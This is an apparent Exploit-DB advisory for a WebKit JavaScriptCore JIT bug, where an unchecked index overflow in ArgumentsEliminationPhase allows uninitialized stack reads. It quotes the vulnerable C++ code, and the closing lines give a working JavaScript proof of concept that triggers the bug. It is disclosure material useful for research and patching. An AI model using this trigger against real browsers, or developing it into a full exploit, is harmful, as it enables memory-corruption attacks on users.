Webkit JSC: JIT - Uninitialized Variable Access in ArgumentsEliminationPhase::transform

EDB-ID:

47316




Platform:

Multiple

Date:

2019-08-29


Become a Certified Penetration Tester

Enroll in Penetration Testing with Kali Linux , the course required to become an Offensive Security Certified Professional (OSCP)

GET CERTIFIED

https://github.com/WebKit/webkit/blob/94e868c940d46c5745869192d07255331d00102b/Source/JavaScriptCore/dfg/DFGArgumentsEliminationPhase.cpp#L743

case GetByVal: {
    ...

    unsigned numberOfArgumentsToSkip = 0;
    if (candidate->op() == PhantomCreateRest)
        numberOfArgumentsToSkip = candidate->numberOfArgumentsToSkip();
    
    Node* result = nullptr;
    if (m_graph.varArgChild(node, 1)->isInt32Constant()) {
        unsigned index = m_graph.varArgChild(node, 1)->asUInt32();                        
        InlineCallFrame* inlineCallFrame = candidate->origin.semantic.inlineCallFrame();
        index += numberOfArgumentsToSkip;
        
        bool safeToGetStack;
        if (inlineCallFrame) {
            safeToGetStack = index < inlineCallFrame->argumentCountIncludingThis - 1;

        }
        else {
            safeToGetStack =
                index < static_cast<unsigned>(codeBlock()->numParameters()) - 1;

        }
        if (safeToGetStack) {
            StackAccessData* data;
            VirtualRegister arg = virtualRegisterForArgument(index + 1);
            if (inlineCallFrame)
                arg += inlineCallFrame->stackOffset;

            data = m_graph.m_stackAccessData.add(arg, FlushedJSValue);
            
            Node* check = nullptr;
            if (!inlineCallFrame || inlineCallFrame->isVarargs()) {
                check = insertionSet.insertNode(
                    nodeIndex, SpecNone, CheckInBounds, node->origin,
                    m_graph.varArgChild(node, 1), Edge(getArrayLength(candidate), Int32Use));
            }
            
            result = insertionSet.insertNode(
                nodeIndex, node->prediction(), GetStack, node->origin, OpInfo(data), Edge(check, UntypedUse));
        }
    }

The above code is trying to inline GetByVal operations on stack-allocated arguments. The problem is, it doesn't check whether "index" is lower than "numberOfArgumentsToSkip", i.e., "index" was overflowed. This bug is exploitable as this can lead to uninitialized variable access under certain circumstances.

PoC:
function inlinee(index, value, ...rest) {
    return rest[index | 0];  // GetByVal
}

function opt() {
    return inlinee(-1, 0x1234);  // or inlinee(0xffffffff, 0x1234)
}

inlinee(0, 0);

for (let i = 0; i < 1000000; i++) {
    opt();
}

print(opt());  // 0x1234